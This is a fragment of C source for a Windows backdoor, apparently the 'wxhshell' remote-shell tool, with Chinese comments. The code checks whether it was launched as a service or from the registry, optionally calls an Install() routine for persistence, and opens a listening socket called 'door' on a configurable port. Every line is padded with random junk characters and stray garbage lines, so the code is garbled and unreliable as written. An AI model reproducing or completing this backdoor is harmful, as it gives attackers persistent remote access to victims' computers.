PROCNTQSIP NtQueryInformationProcess; <(B: "wI
f%c-
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "Sd2VSLg
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *","u;&
Mx=L lC)
HANDLE hProcess; :1e'22[=.
PROCESS_BASIC_INFORMATION pbi; 6Y/TqI[
|n\(I$
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); psB9~EU&Q
if(NULL == hInst ) return 0; =pn(56
}d 16xp
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0A.9<&Lod
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); * ;<>@*
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {iq)[)n
o Np4> 7Lk
if (!NtQueryInformationProcess) return 0; meR5E?Fm
$d%NFc&
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gclw>((5
if(!hProcess) return 0; `zMR?F`
3k5F$wf
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Rb_+C
BxHfL8$1[$
CloseHandle(hProcess); Q)l~?Fx
6Z68n
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d> L*2 g
if(hProcess==NULL) return 0; }ygxmb^@Z
I=o/1:[-
HMODULE hMod; L6"?p-:@'
char procName[255]; BZ>,Qh!J
unsigned long cbNeeded; 4dUr8]BkG
J5*( PxDF
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Xsv^GmP+
=Ye I,KbA)
CloseHandle(hProcess); `#>JRQ=
\>(S?)6
if(strstr(procName,"services")) return 1; // 以服务启动 MU5#ph
0O7VM)[
return 0; // 注册表启动 "uHU!)J#z
} 6sl2vHzA
=1h> N/VJ
// 主模块 OQa;EBO
int StartWxhshell(LPSTR lpCmdLine) -H
AUKY@;5
{ Pqb])-M9p
SOCKET wsl; ]>k>Z#8E*
BOOL val=TRUE;
Kgu#Mi~
int port=0; lO5*n|Ic,
struct sockaddr_in door; ^+q4* X6VB
wNhtw'E8
if(wscfg.ws_autoins) Install(); y|[YEY U)
a0[Mx 4
port=atoi(lpCmdLine); EJZb3
;mLbgiqQ J
if(port<=0) port=wscfg.ws_port; Z*Jp?[##
8n Oent0a
WSADATA data; |_`wC
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u!K5jqP
\)mV2r!%
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; FV W&)-I
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g7nqe~`{
door.sin_family = AF_INET; EHY}gG)
door.sin_addr.s_addr = inet_addr("127.0.0.1"); n8vteGQ
door.sin_port = htons(port); 3# r`e
)A H)*Mg
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C'Z6l^{>
closesocket(wsl); 9q|36CAO_
return 1; :OvTZ ?\
} Wo8.tu-2
GMRFZw_M
if(listen(wsl,2) == INVALID_SOCKET) { UO{3vry48
closesocket(wsl); Th[Gu8b3
return 1;
*^b<CZd9
} bP8O&